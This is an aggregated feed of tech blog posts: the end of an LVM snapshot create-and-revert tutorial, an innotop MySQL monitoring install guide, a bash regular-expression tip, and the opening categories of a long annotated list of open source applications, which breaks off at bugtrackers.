  volume1_snapshot volume_group swi-a-s-  20.00m      volume1   0.06

Now that the snapshot has been created we can start altering data on "volume1" for  example by removing the entire content:
# cd /mnt/volume1
# rm -fr
# rm -fr sbin/
After this operation you can consult again lvs command and see that Data% on the volume1_snap is now increased. If you want to, you can now mount your snapshot volume to confirm that the original data from "volume1" still exists.

4.3. Revert Logical Volume Snapshot

Before we revert our logical volume snapshot, let's first confirm that our /mnt/volume1/sbin data are still missing:
# du -s /mnt/volume1/sbin
du: cannot access `/mnt/volume1/sbin': No such file or directory
Recovering a Logical Volume snapshots consists of two steps:
  • scheduling a  snapshot recovery after next logical volume activation
  • deactivate and activate logical volume
To schedule a snapshot rollback execute a following command:
# lvconvert --merge /dev/volume_group/volume1_snapshot
  Can't merge over open origin volume
  Merging of snapshot volume1_snapshot will start next activation.
After execution of the above command the logical volume "volume1" will rollback once it is activated. Therefore, what needs to be done next is to re-activate "volume1". First, make sure that you unmount your "volume1"
# umount /mnt/volume1
Deactivate and activate you volume:
# lvchange -a n /dev/volume_group/volume1
# lvchange -a y /dev/volume_group/volume1
As a last step mount again your logical volume "volume1" and confirm that data all has been recovered:
# mount /dev/volume_group/volume1 /mnt/volume1
# du -s /mnt/volume1/sbin
8264    /mnt/volume1/sbin

5. Conclusion

The above was a basic example of snapshot manipulation using Logical Volume Manager. The usefulness of logical volume snapshots is enormous and it will sure help you with your tasks whether you are system administrator or a developer. Although you can use the setup above to create a multiple snapshots for a backup recovery you also need to know the you backup will find its limits on within you Logical Volume Group therefore any low level physical volume problems may render your snapshot useless.

Install Innotop to Monitor MySQL Server Performance

$
0
0
http://www.tecmint.com/install-innotop-to-monitor-mysql-server-performance


Innotop is an excellent command line program, similar to ‘top command‘ to monitor local and remote MySQL servers running under InnoDB engine. Innotop comes with many features and different types of modes/options, which helps to monitor different aspects of MySQL performance and also helps database administrator to find out what’s wrong going with MySQL server.
For example, Innotop helps in monitoring mysql replication status, user statistics, query list, InnoDB buffers, InnoDB I/O information, open tables, lock tables, etc, it refreshes its data regularly, so you could see updated results.
Install Innotop in Centos
Innotop MySQL Server Monitoring
Innotop comes with great features and flexibility and doesn’t needs any extra configuration and it can be executed by just running ‘innotop‘ command from the terminal.

Installing Innotop (MySQL Monitoring)

By default innotop package is not included in Linux distributions such as RHEL, CentOS, Fedora and Scientific Linux. You need to install it by enabling third party epel repository and using yum command as shown below.
# yum install innotop
Sample Output
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
* base: centos.mirror.net.in
* epel: epel.mirror.net.in
* epel-source: epel.mirror.net.in
* extras: centos.mirror.net.in
* updates: centos.mirror.net.in
Setting up Install Process
Resolving Dependencies
--> Running transaction check
---> Package innotop.noarch 0:1.9.0-3.el6 will be installed
--> Finished Dependency Resolution

Dependencies Resolved

==========================================================================================================
Package Arch Version Repository Size
==========================================================================================================
Installing:
innotop noarch 1.9.0-3.el6 epel 149 k

Transaction Summary
==========================================================================================================
Install 1 Package(s)

Total download size: 149 k
Installed size: 489 k
Is this ok [y/N]: y
Downloading Packages:
innotop-1.9.0-3.el6.noarch.rpm | 149 kB 00:00
Running rpm_check_debug
Running Transaction Test
Transaction Test Succeeded
Running Transaction
Installing : innotop-1.9.0-3.el6.noarch 1/1
Verifying : innotop-1.9.0-3.el6.noarch 1/1

Installed:
innotop.noarch 0:1.9.0-3.el6

Complete!
To start innotop, simply type “innotop” and specify options -u (username) and -p (password) respectively, from the command line and press Enter.
# innotop -u root -p 'tecm1nt'
Once you’ve connected to MySQL server, you should see something similar to the following screen.
[RO] Dashboard (? for help)                                                                    localhost, 61d, 254.70 QPS, 5/2/200 con/run/cac thds, 5.1.61-log
Uptime MaxSQL ReplLag Cxns Lock QPS QPS Run Run Tbls Repl SQL
61d 4 0 254.70 _ _ 462 Off 1
Innotop Help
Press “?” to get the summary of command line options and usage.
Switch to a different mode:
A Dashboard I InnoDB I/O Info Q Query List
B InnoDB Buffers K InnoDB Lock Waits R InnoDB Row Ops
C Command Summary L Locks S Variables & Status
D InnoDB Deadlocks M Replication Status T InnoDB Txns
F InnoDB FK Err O Open Tables U User Statistics

Actions:
d Change refresh interval p Pause innotop
k Kill a query's connection q Quit innotop
n Switch to the next connection x Kill a query

Other:
TAB Switch to the next server group / Quickly filter what you see
! Show license and warranty = Toggle aggregation
# Select/create server groups @ Select/create server connections
$ Edit configuration settings \ Clear quick-filters
Press any key to continue
This section contains screen shots of innotop usage. Use Upper-case keys to switch between modes.
User Statistics
This mode displays user statistics and index statistics sorted by reads.
CXN        When   Load  QPS    Slow  QCacheHit  KCacheHit  BpsIn    BpsOut 
localhost Total 0.00 1.07k 697 0.00% 98.17% 476.83k 242.83k
Query List
This mode displays the output from SHOW FULL PROCESSLIST, similar to mytop’s query list mode. This feature doesn’t display InnoDB information and it’s most useful for general usage.
When   Load  Cxns  QPS   Slow  Se/In/Up/De%             QCacheHit  KCacheHit  BpsIn    BpsOut
Now 0.05 1 0.20 0 0/200/450/100 0.00% 100.00% 882.54 803.24
Total 0.00 151 0.00 0 31/231470/813290/188205 0.00% 99.97% 1.40k 0.22

Cmd ID State User Host DB Time Query
Connect 25 Has read all relay system u 05:26:04
InnoDB I/O Info
This mode displays InnoDB’s I/O statistics, pending I/O, I/O threads, file I/O and log statistics tables by default.
____________________ I/O Threads ____________________
Thread Purpose Thread Status
0 insert buffer thread waiting for i/o request
1 log thread waiting for i/o request
2 read thread waiting for i/o request
3 write thread waiting for i/o request

____________________________ Pending I/O _____________________________
Async Rds Async Wrt IBuf Async Rds Sync I/Os Log Flushes Log I/Os
0 0 0 0 0 0

________________________ File I/O Misc _________________________
OS Reads OS Writes OS fsyncs Reads/Sec Writes/Sec Bytes/Sec
26 3 3 0.00 0.00 0

_____________________ Log Statistics _____________________
Sequence No. Flushed To Last Checkpoint IO Done IO/Sec
0 5543709 0 5543709 0 5543709 8 0.00
InnoDB Buffers
This section, you will see information about the InnoDB buffer pool, page statistics, insert buffer, and adaptive hash index. The data fetches from SHOW INNODB STATUS.
__________________________ Buffer Pool __________________________
Size Free Bufs Pages Dirty Pages Hit Rate Memory Add'l Pool
512 492 20 0 -- 16.51M 841.38k

____________________ Page Statistics _____________________
Reads Writes Created Reads/Sec Writes/Sec Creates/Sec
20 0 0 0.00 0.00 0.00

______________________ Insert Buffers ______________________
Inserts Merged Recs Merges Size Free List Len Seg. Size
0 0 0 1 0 2

__________________ Adaptive Hash Index ___________________
Size Cells Used Node Heap Bufs Hash/Sec Non-Hash/Sec
33.87k 0 0.00 0.00
InnoDB Row Ops
Here, you will see the output of InnoDB row operations, row operation misc, semaphores, and wait array tables by default.
________________ InnoDB Row Operations _________________
Ins Upd Read Del Ins/Sec Upd/Sec Read/Sec Del/Sec
0 0 0 0 0.00 0.00 0.00 0.00

________________________ Row Operation Misc _________________________
Queries Queued Queries Inside Rd Views Main Thread State
0 0 1 waiting for server activity

_____________________________ InnoDB Semaphores _____________________________
Waits Spins Rounds RW Waits RW Spins Sh Waits Sh Spins Signals ResCnt
2 0 41 1 1 2 4 5 5

____________________________ InnoDB Wait Array _____________________________
Thread Time File Line Type Readers Lck Var Waiters Waiting? Ending?
Command Summary
The command summary mode displays all the cmd_summary table, which looks similar to the below.
_____________________ Command Summary _____________________
Name Value Pct Last Incr Pct
Com_update 11980303 65.95% 2 33.33%
Com_insert 3409849 18.77% 1 16.67%
Com_delete 2772489 15.26% 0 0.00%
Com_select 507 0.00% 0 0.00%
Com_admin_commands 411 0.00% 1 16.67%
Com_show_table_status 392 0.00% 0 0.00%
Com_show_status 339 0.00% 2 33.33%
Com_show_engine_status 164 0.00% 0 0.00%
Com_set_option 162 0.00% 0 0.00%
Com_show_tables 92 0.00% 0 0.00%
Com_show_variables 84 0.00% 0 0.00%
Com_show_slave_status 72 0.00% 0 0.00%
Com_show_master_status 47 0.00% 0 0.00%
Com_show_processlist 43 0.00% 0 0.00%
Com_change_db 27 0.00% 0 0.00%
Com_show_databases 26 0.00% 0 0.00%
Com_show_charsets 24 0.00% 0 0.00%
Com_show_collations 24 0.00% 0 0.00%
Com_alter_table 12 0.00% 0 0.00%
Com_show_fields 12 0.00% 0 0.00%
Com_show_grants 10 0.00% 0 0.00%
Variables & Status
This section calculates statistics, like queries per second, and displays them out in number of different modes.
QPS     Commit_PS     Rlbck_Cmt  Write_Commit     R_W_Ratio      Opens_PS   Tbl_Cch_Usd    Threads_PS  Thrd_Cch_Usd CXN_Used_Ever  CXN_Used_Now
0 0 0 18163174 0 0 0 0 0 1.99 1.32
0 0 0 18163180 0 0 0 0 0 1.99 1.32
0 0 0 18163188 0 0 0 0 0 1.99 1.32
0 0 0 18163192 0 0 0 0 0 1.99 1.32
0 0 0 18163217 0 0 0 0 0 1.99 1.32
0 0 0 18163265 0 0 0 0 0 1.99 1.32
0 0 0 18163300 0 0 0 0 0 1.99 1.32
0 0 0 18163309 0 0 0 0 0 1.99 1.32
0 0 0 18163321 0 0 0 0 0 1.99 1.32
0 0 0 18163331 0 0 0 0 0 1.99 1.32
Replication Status
In this mode, you will see the output of Slave SQL Status, Slave I/O Status and Master Status. The first two section shows the slave status and slave I/O thread status and the last section shows Master status.
_______________________ Slave SQL Status _______________________
Master On? TimeLag Catchup Temp Relay Pos Last Error
172.16.25.125 Yes 00:00 0.00 0 41295853

____________________________________ Slave I/O Status _____________________________________
Master On? File Relay Size Pos State
172.16.25.125 Yes mysql-bin.000025 39.38M 41295708 Waiting for master to send event

____________ Master Status _____________
File Position Binlog Cache
mysql-bin.000010 10887846 0.00%
Non-Interactively
You can run “innotop” in non-interactively.
# innotop --count 5 -d 1 -n
uptime max_query_time time_behind_master connections locked_count qps spark_qps run spark_run open slave_running longest_sql
61d 2 0 0.000363908088893752 64 Yes
61d 2 0 4.96871146980749 _ _ 64 Yes
61d 2 0 3.9633543857494 ^_ __ 64 Yes
61d 2 0 3.96701862656428 ^__ ___ 64 Yes
61d 2 0 3.96574802684297 ^___ ____ 64 Yes
Monitor Remote Database
To monitor a remote database on a remote system, use the following command using a particular username, password and hostname.
# innotop -u username -p password -h hostname
For more information about ‘innotop‘ usage and options, see the man pages by hitting “man innotop” on a terminal.

Unix tip: Using Bash's regular expressions

$
0
0
http://www.itworld.com/operating-systems/355273/unix-bashs-regular-expressions


Bash has quietly made scripting on Unix systems a lot easier with its own regular expressions. If you're still leaning on grep and sed commands to get your scripts to do what you need from them, maybe it's time to look into what bash can do on its own.

Since version 3 (circa 2004), bash has a built-in regular expression comparison operator, represented by =~. A lot of scripting tricks that use grep or sed can now be handled by bash expressions and the bash expressions might just give you scripts that are easier to read and maintain.
As with other comparison operators (e.g., -lt or ==), bash will return a zero if an expression like $digit =~ "[[0-9]]" shows that the variable on the left matches the expression on the right and a one otherwise. This example test asks whether the value of $digit matches a single digit.
if [[ $digit =~ "[0-9]" ]]; then
echo '$digit is a digit'
else
echo "oops"
fi
Bash's regular expressions can be fairly complicated. In the test below, we're asking whether the value of our $email variable looks like an email address. Notice that the first expression (the account name) can contain letters, digits and some special characters. The + to the right of the first ] means that we can have any number of such characters. We then see the @ sign sitting between the username and the email domain -- and a literal dot (\.) between the primary part of the domain name and the "com", "net", "gov", etc. part. The comparison is then enclosed in double brackets.
if [[ "$email" =~ "^[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}$" ]]
then
echo "This email address looks fine: $email"
else
echo "This email address is flawed: $email"
fi
Similarly, you can construct tests that determine whether the value of variables is in the proper format for an IP address:
#!/bin/bash

if [ $# != 1 ]; then
echo "Usage: $0 address"
exit 1
else
ip=$1
fi

if [[ $ip =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then
echo "Looks like an IPv4 IP address"
elif [[ $ip =~ ^[A-Fa-f0-9:]+$ ]]; then
echo "Could be an IPv6 IP address"
else
echo "oops"
fi
Bash also provides for some simplified looping. Want to loop 100 times? Just do something like this:
for n in {1..100}
do
echo $n
done
And you can loop through letters or through various ranges of letters or numbers using expressions such as these. You don't have to start with 1 or a and you can move backwards through the list.
{a..z}
{z..a}
{c..f}
{5..25}
{10..-10}
Want to see how these ranges work? You can also just try expanding them with the echo command.
$echo {a..z}
a b c d e f g h i j k l m n o p q r s t u v w x y z
$ echo {5..-1}
5 4 3 2 1 0 -1
What a swell shell!

Open Source Apps: the Monster List

$
0
0
It's become something of an annual tradition at Datamation to end the year with a gigantic compilation of all the open source software we've surveyed over the past twelve months or so. (See 2010's Open Source Apps: the Ultimate List and 2009's Open Source Software: The Monster List.) This year's retrospective is bigger than ever with 957 excellent open source applications featured.
The complete list is a lot to handle in one sitting, so we've divided it into categories. Also, please note that the projects in each category are listed in alphabetical order, not from best to worst or vice versa.
As always, if you'd like to add a project to list, feel free to do so in the comments section below.

Open Source Apps: Accounting

1. Edoceo Imperium
Web-based Imperium combines some business management features like CRM and job tracking with a full-featured double-entry accounting package. It's built in XHTML/CSS and JavaScript, and it integrates with Google Apps. Operating System: OS Independent
2. FrontAccounting
Like Imperium, FrontAccounting is Web-based and includes some ERP functionality. It prides itself on being powerful, yet simple. Operating System: OS Independent
3. GnuCash
A good option for small business owners, GnuCash combines the features of a business accounting package with the features of a personal financial manager. Key capabilities include double-entry accounting, investment management, invoicing, accounts payable, accounts receiveable, Quicken data import and more. Operating System: Windows, Linux, OS X
4. Lazy8 Ledger
Best for very small businesses, Lazy8 Ledger offers an alternative to doing your books by hand or with a simple spreadsheet program. However, it lacks the advanced features that larger companies are likely to need. Operating System: Windows, Linux, OS X
5. LedgerSMB
Also designed for small to medium-sized businesses, LedgerSMB includes general ledger, accounts payable and accounts receivable capabilities. It was originally based on the SQL-Ledger code and also offers some basic ERP functionality. Operating System: Windows, Linux, OS X
6. osFinancials
With an emphasis on simplicity, osFinancials aims to take the complications out of business accounting software. It can track up to 9999 accounts, 1 million creditors and debtors and 1 million stock items. Note: because it is developed by a team in the Netherlands, a lot of the osFinancials Web site and documentation is in Dutch, but English is also available. Operating System: Windows, Linux
7. TurboCASH
This small business accounting package offers many similar features to QuickBooks and Sage. It tracks up to 10 bank accounts, 999 sets of books, 12000 accounts, 40000 debtors and creditors, and 64000 stock items. Operating System: Windows
8. XIWA
First released in 1999, XIWA is an older accounting program for Linux only. One benefit for owners of very small businesses is that it offers the option of using double-entry accounting or not, depending on the background of the user. Operating System: Linux

Open Source Apps: Appliances

9. Turnkey Linux
Turnkey offers a variety of pre-configured appliances, including a NAS appliance. In addition, all Turnkey appliances come with TurnKey Linux Backup and Migration pre-installed. Operating System: Linux

Open Source Apps: Anti-Spam

10. ASSP
Short for "Anti-Spam SMTP Proxy," ASSP stops spam at your mail server. Key features include easy browser-based setup, support for most mail servers, automatic whitelisting, virus scanning through ClamAV, Bayesian filters, community-based gray-listing and more. Operating System: OS Independent
11. MailScanner
Downloaded more than 1.3 million times, MailScanner combines the power of two other open source tools—SpamAssassin and ClamAV—to protect mail servers. Extensive documentation is available on the site. Operating System: Linux, Unix
12. SpamAssassin
"The powerful #1 open-source spam filter," SpamAssassin from Apache uses an entire arsenal of techniques to find and block unwanted e-mail. You can deploy it on a mail server or locally on an individual e-mail account, but you will need to be fairly knowledgeable to set it up. Operating System: Windows, Linux, OS X
13. SpamBayes
After you train SpamBayes by showing it which messages you like (the ham) and which messages you don't like (the spam), it will use special algorithms to sort your e-mail for you. It integrates with a wide variety of e-mail clients, including Outlook and Thunderbird. Operating System: Windows, Linux, OS X

Open Source Apps: Anti-Spyware

14. Nixory
Nixory's job is to get rid of malicious tracking cookies. The new Active Shield mode removes cookies while your browser is open, without slowing down your surfing. Operating System: Windows, Linux, OS X
15. xpy
For the many users still running Windows XP, xpy tweaks the operating system settings to give you better privacy. For example, it disables communication with Microsoft, removes Windows Messenger, and makes some changes to Internet Explorer. Operating System: Windows XP

Open Source Apps: Anti-Virus/Anti-Malware

16. ClamAV
Undoubtedly the most widely used open-source anti-virus solution, ClamAV quickly and effectively blocks Trojans, viruses, and other kinds malware. The site now also offers paid Windows software called "Immunet," which is powered by the same engine. Operating System: Linux
17. ClamTK
Like ClamAV for Windows, ClamTK provides a front end for the ClamAV engine, this time for the Linux OS. It allows you to schedule system scans, but it does not provide real-time scanning for incoming files. Operating System: Linux
18. ClamWin
If you're not on a network, ClamWin can provide good antivirus protection for a single system. It boasts more than 600,000 active users. Simply right-click on a file to scan it or use the scheduler to plan a full scan of your entire system. Operating System: Windows
19. P3Scan
This transparent proxy server works with Clam AV and other anti-virus software to scan incoming and outgoing e-mail for viruses, worms, trojans, spam and harmful attachments. Operating System: Linux
20. Rootkit Hunter
This no-frills tool scans for rootkits and other malware on Linux system. While it does not provide live or scheduled scanning, the Web site explains how to set up your system to scan daily. Operating System: Linux, Unix
21. Viralator
Still getting the occasional network virus even after you install anti-virus software? Viralator supplements the existing anti-virus software on your proxy server to block malware that might otherwise slip in when users access free webmail accounts. Operating System: Linux, Unix

Open Source Apps: Application Firewall

22. AppArmor
Included in both openSUSE and SUSE Linux Enterprise, Novell's application firewall aims to secure Linux-based applications while lowering IT costs. Key features include reports, alerts, sub-process confinement, and more. Operating System: Linux
23. ModSecurity
The "most widely deployed WAF (Web Application Firewall) in existence," ModSecurity protects applications running on the Apache Web server. It also monitors, logs, and provides real-time analysis of Web traffic. Operating System: Windows, Linux
24. SELinux
Developed by the NSA, Security Enhanced Linux adds mandatory access control features to the Linux OS. It enforces complete separation of information to make it more difficult to bypass application security mechanisms. Operating System: Linux, Unix

Open Source Apps: Astronomy

25. Celestia
A great app for any space-obsessed kids (or adults) you may have in your house, Celestia lets you fly throughout the known universe seeing astronomical objects as they would appear at any date in history. It uses real images whenever possible to give you the feeling that you really are traveling through space. Operating System: Windows, Linux, OS X
26. KStars
KStars also lets you view the night skies, including "up to 100 million stars, 13,000 deep-sky objects, all 8 planets, the sun and moon, and thousands of comets and asteroids." If you're an amateur astronomer, you'll also like KStars' tools that help you plan your nightly viewing. (Note that in order to use KStars on Windows, you'll have to download KDE for Windows.) Operating System: Windows, Linux
27. PP3
Ideal for educators, PP3 creates detailed star charts for use in PowerPoint presentations or books. Note that in order to use it, you will also need LaTeX. Operating System: Windows, Linux
28. StarChart
This app's website begins with a simple introduction: "There is a sky. There are things in the sky. This program draws maps of things in the sky." While the on-screen graphics on this app aren't as good as some of the other star-charting software, it does a good job of creating printed star charts for study. Operating System: Linux
29. Stellarium
Another educational astronomy app, Stellarium turns your system into a planetarium, displaying the night skies for any time you input. In fact, this app is actually used to power the displays at a number of planetariums. Operating System: Windows, Linux, OS X

Open Source Apps: Audio Tools

30. Amarok
KDE's audio player and manager integrates with a number of Web services, including last.fm, Ampache, Magnatune, MP3tunes, EchnoNest and others. Other unique features include dynamic playlists, bookmarking and more. Operating System: Windows, Linux, OS X
31. Aqualung
Aqualung's claim to fame is "gap-free" playback of consecutive audio tracks—which is particularly nice when listening to concert recordings. It plays CDs, podcasts, audio streams and most types of audio files. Operating System: Windows, Linux, OS X
32. aTunes
This Java-based application plays CDs and audio files, helps organize your music and rips audio CDs. The interface is fairly basic, but it includes features like karaoke playback, shuffle, repeat, tag editing, playlists, and more. Operating System: OS Independent
33. Audacity
Audacity offers everything most amateur musicians and producers will need to get started recording and editing their own audio tracks. Its capabilities include pitch change, tempo change, spectrogram node, noise removal, import and export of various file types, unlimited undo and a library of built-in effects, like echo, phaser, wahwah, reverse, and others. Operating System: Windows, Linux, OS X
34. AC3Filter
This audio decoder and processor filter allows media players to play AC3 and DTS audio tracks from movies. It also allows you to mix audio tracks and adjust sound quality. Operating System: Windows
35. CDex
Downloaded more than 40 million times, CDex is an incredibly popular CD ripper. Key features include direct recording of multiple tracks, CD-Text support, advanced jitter correction, audio signal normalization and more. Operating System: Windows
36. Cdrtools
Cdrtools includes nine different open source tools for recording, reading and verifying CDs, DVDs and BluRay discs. Note that these are command line tools and do not come with a GUI. Operating System: Linux
37. CoolPlayer
Because of its lightweight size, CoolPlayer offers "blazing fast" performance. Although it does offer some playlist capabilities, this is really just an audio player, not a full audio collection manager. Operating System: Windows
38. DrumTrack
Turn your keyboard into a drum machine with DrumCore. Key features include adjustable volume for each drum hit, randomization of drum hits/volume (to make it sound more like a human is playing), and MIDI import and export. Operating System: Windows
39. EasyTAG
EasyTAG allows users to view and edit the tag fields on MP3, MP2, MP4/AAC, FLAC, Ogg Vorbis, MusePack, Monkey's Audio, and WavPack files. It includes a tree-based browser and CDDB support for manual and automatic searches. Operating System: Windows, Linux.
40. Free:ac
Formerly known as "BonkEnc," Free:ac makes it easy to rip CDs so that you can store and listen to them on your desktop, MP3 player or other mobile device. It can convert files to and from MP3, MP4/M4A, WMA, Ogg Vorbis, FLAC, AAC, WAV and Bonk formats. Operating System: Windows
41. Frinika
In addition to recording and editing your music, Frinika also helps you make music with a built-in synthesizer and midi support. The website includes a number of screenshots and demos so that you can see it in action. Operating System: OS Independent
42. Hydrogen
Designed for professionals, Hydrogen calls itself "an advanced drum machine for GNU/Linux" (although it does also work on OS X and Windows). It boasts an attractive, user-friendly GUI, a pattern-based sequencer with up 192 ticks per pattern, a sample editor, time stretch and pitch functions, timeline with variable tempo and more. Operating System: Windows, Linux, OS X
43. Jajuk
Aimed at users with large music collections, this powerful audio playback and management tool has been called "the most powerful jukebox out there" by critics. You can download it or using right from the Web interface. Operating System: OS Independent
44. Jukes
Now more than a decade old, Jukes was designed for people who liked to keep their CD collections on their hard drive—back when that was an unusual thing. The interface is basic, but easy to use. Operating System: Windows, Linux, OS X
45. Juice
Juice makes it easy to capture and listen to podcasts, any time, anywhere. It includes a directory of thousands of online podcasts, so it’s also easy to find the one you want. Operating System: Windows, Linux, OS X
46. KMid
Turn your PC into a karaoke player with this KDE app. It also plays Midi files and includes features like pitch control, a visual metronome and a piano player window. Operating System: Windows
47. LAME
Although LAME stands for "Lame Ain’t No MP3 Encoder," the first line on its Web site states, "LAME is an MPEG Audio Layer III (MP3) encoder." It was intended as an educational tool for those interested in improving the speed and quality of MP3 files. Operating System: Windows, Linux, OS X
48. MMConvert
The "MM" in this app's name stands for "multi-media" and accordingly, it converts both audio and video among various file formats. You can use it from the command line or with a GUI. Operating System: Windows
49. Linux MultiMedia Studio
Suitable for amateur musicians and hobbyists, LMMS lets you use your PC to create musical tracks and then mix them together. Don't let the "Linux" in the name fool you—it's also available in a Windows version. Operating System: Windows, Linux
50. Mixere> Designed for live performance, Mixere's feature set includes dynamic audio looping, auto-triggering, fully automated sliders, gradual mute/solo operations, crossfading and unlimited undo. Operating System: Windows
51. Mixxx
Mixxx's advanced mixing engine gives professional DJs all the tools they need, like hot cues, looping controls and high-fidelity EQs. It also supports MIDI and vinyl controller input for DJs who are used to a traditional turntable/mixer setup. Operating System: Windows, Linux, OS X
52. MOC
Simply select a directory, and the MOC (Music On Console) audio player will play all files in that directory. Supported file formats include MP3, Ogg Vorbis, FLAC, Musepack, Speex, WAVE, AIFF, and AU. Operating System: Linux/Unix, OS X
53. Moosic
If you prefer your software without a GUI, Moosic might be right for you. It's a simple, client-server jukebox program that runs from the command line. Operating System: Linux/Unix
54. MP3Gain
Tired of constantly adjusting the volume when playing MP3s? MP3Gain uses statistical analysis to gauge how loud songs sound in the human ear, and then modifies the volume appropriately without degrading the quality of playback. Operating System: OS Independent
55. Mp3splt
Mp3splt is an audio utility that does just one thing—it lets you cut mp3 and ogg files into smaller files and rename them. It’s especially useful if you need to split an entire album into individual tracks. Operating System: Windows, Linux, OS X
56. MuseScore
This app makes it easy to create beautiful sheet music. And it plays back your creations with an integrated sequencer and synthesizer. Operating System: Windows, Linux, OS X
57. Pandora Radio Desktop App
You don't have to upgrade to Pandora One in order to get a desktop app to listen to the free Pandora service. This lightweight app minimizes to your system tray and removes banner ads. Operating System: Windows
58. pulpTunes
Want to access your home iTunes library while you’re at work? Install pulpTunes and you can access your music from any Web-connected computer. Operating System: OS Independent
59. Radio Downloader
If your favorite online radio station only offers streaming content, you can turn it into a podcast you can listen to any time with Radio Downloader. It comes with built-in support for BBC content and a helpful "favourites" tab. Operating System: Windows
60. Songbird
This open source iTunes alternative lets you play audio files, manage your music collection and sync across PCs, Macs and Android-based smartphones and tablets. It also features an integrated music store from 7digital, concert notices and ticket purchase, and links to photos, videos and other related information on the Web. Operating System: Windows, OS X, Android
61. StreamRipper
StreamRipper allows you to record and save Shoutcast streams and other Internet audio. Its key feature is the ability to find silences and mark them as possible points of track separation. Operating System: Windows, Linux/Unix
62. TuxGuitar
TuxGuitar is both a tab editor and a player. Create your own multi-track guitar compositions and play them back. Operating System: Windows, Linux, OS X
63. Zinf
Another playback only app, Zinf describes itself as "a simple, but powerful audio player." It supports most types of audio file,s as well as streaming audio, and it integrates with MusicBrainz. Operating System: Windows, Linux

Open Source Apps: Backup

64. Amanda
Protecting more than a half a million systems, Amanda claims to be the "most popular open source backup and recovery software in the world." It's available in a variety of free and commercially supported versions, including a cloud-based solution from Zmanda. Operating System: Windows, Linux, OS X.
65. Areca Backup
Ideal for daily backup, Areca is user-friendly and very versatile. It supports compression and encryption, as well as incremental, differential, full and delta backup. Operating System: Windows, Linux.
66. Backit Down
This app synchronizes files and folders so that you can backup or copy your drives. It works across networks or with external hard drives or USB drives. Operating System: Windows, Linux
67. Bacula
For larger businesses, Bacula offers network backup and recovery capabilities. Although it's an enterprise-grade program, it's easy enough to set up and use that it's appropriate for small businesses as well. Operating System: Windows, Linux, OS X.
68. Clonezilla
Specifically designed as a replacement for Norton Ghost and other Symantec backup products, Clonezilla is an open-source backup/imaging/cloning app that allows bare metal recovery and has unicasting and multicasting capabilities. It comes in two flavors: Clonezilla Live for backing up a single machine, and Clonezilla SE which can clone more than 40 systems at once. Operating System: Linux
69. Create Synchronicity
When zipped, this extremely lightweight backup utility occupies just 180KB. It offers a simple, very intuitive interface and fast performance. Operating System: Windows, Linux.
70. FOG
FOG creates a Linux-based server that can backup both Windows and Linux systems. It's a good choice for small organizations, because it's very easy to use but also very powerful with a number of advanced features. Operating System: Linux, Windows.
71. Partimage
Partimage is particularly useful if you need to recover from a complete system crash or if you need to install multiple images across a network. It's very fast and can restore to a partition on a different system. Operating System: Linux
72. Redo
While many backup solutions only store your data files, Redo saves a complete image of your system to a thumb drive or CD. It takes a little longer to create these backup files, but it gives you the ability to do a bare metal restore if your system experiences massive failure. Operating System: Windows, Linux

Open Source Apps: Billing

73. Argentum
This Web-based app offers basic client management, invoicing and time tracking functionality. It's free to download and host on your own Web server, or you can use the service in the cloud for $10 per month. Operating System: OS Independent
74. jBilling
Designed for telecoms and companies that offer subscription-based services, jBilling boasts thousands of downloads per month. The software is available for free, but consulting, support and training require a fee. Operating System: OS Independent
75. Simple Invoices
With this Web-based invoicing system, you can easily send your clients PDF invoices or create basic reports that let you track your sales. You can download the free version to a PC or a server, or you can purchase access on an SaaS basis from one of the third-party hosting providers listed on the site. Operating System: OS Independent
76. Siwapp
This Web app was designed to be as simple as possible and offers a very easy-to-use interface. It creates attractive, professional-looking invoices that you can send to your clients and easy-to-understand reports that you can use to manage your small business. Operating System: OS Independent

Open Source Apps: Biology

77. ByoDyn
Scientists building models of biochemical networks or pathways can use ByoDyn to estimate and analyze the parameters underlying these processes. In addition to the downloadable version, it can also be accessed online as a Web app. Operating System: Linux, OS X.
78. GenoCAD
Granted, this is something the average user will likely never download, but the Virginia Bioformatics Institute has made this gene sequencing software available through an open source license. It's helping make possible some cutting edge scientific research. Operating System: OS Independent.

Open Source Apps: Blogging

79. B2evolution
This blog platform/content management system can support multiple blogs, multiple domains and multiple authors. It's extensible with skins and plug-ins, and the site offers a demo and links to sample sites. Operating System: OS Independent
80. LifeType
With built-in multi-user authentication and multi-blog support, LifeType offers a blogging platform suitable for large enterprises. Key features include anti-spam filter, mobility support, integrated media management, easy installation and more. Operating System: OS Independent
81. MovableType
Used by companies like NBC, NPR, Wells Fargo, Oracle and others, MovableType is a blogging platform that can operate as a full-fledged content management system. In addition to the open source version, it also comes in a free pro version for educational institutions or businesses with up to five users, as well as paid pro and enterprise versions for larger organizations. Operating System: OS Independent
82. Nucleus CMS
It bills itself as a Content Management System, but in reality Nucleus is primarily a tool for setting up a blog and hosting it on your own server. Features include a built-in commenting tool, URLs optimized for readers, and multi-lingual support. Operating System: OS Independent
83. WordPress
Calling itself "both free and priceless at the same time," WordPress is the platform of choice for more than 60 million bloggers. It takes just five minutes to get up and running with your own WordPress blog, and a huge library of add-ons and themes makes it easy to customize it to your exact needs. It's also available as a hosted service throughWordPress.com Operating System: OS Independent

Open Source Apps: Browsers

84. Chromium
Chromium is the open source project behind Google's Chrome browser, and it's also the base for several other, less popular open source browsers. It's best known for being lightweight and fast. Operating System: Windows, Linux, OS X, ChromeOS
85. Dooble
Dooble is a newer browser built with a focus on security. Unlike the better-known browsers, it encodes all of your browsing information for better privacy. Operating System: Windows, Linux, OS X
86. Firefox
One of the most popular open source downloads of all time, Firefox offers excellent security, performance and personalization capabilities. Key features in the most recent version include the "awesome bar," app tabs, desktop and mobile syncing, integrated search and more. Operating System: Windows, Linux, OS X, Android, iOS
87. K-Meleon
Because both use Mozilla's Gecko layout engine, K-Meleon and Firefox look and feel a lot alike. However, K-Meleon also lets you import your IE Favorites and Opera Hotlist, and it also supports mouse gestures like Opera. Operating System: Windows
88. Qt Web Browser
Based on Nokia's Qt framework and Apple's WebKit rendering engine, this browser was designed to be lightweight, secure and portable. It's just 6MB, and it offers a highly customizable interface and a long list of privacy-protection features. Operating System: Linux, OS X.
89. Tor
Used by journalists, intelligence officers and other individuals who need to remain anonymous, Tor allows you to browse and communicate over the Internet without revealing your identity. It can also help you access Web services that have been blocked in particular countries. Operating System: Windows, Linux, OS X

Open Source Apps: Bugtrackers

90. BugTracker.NET
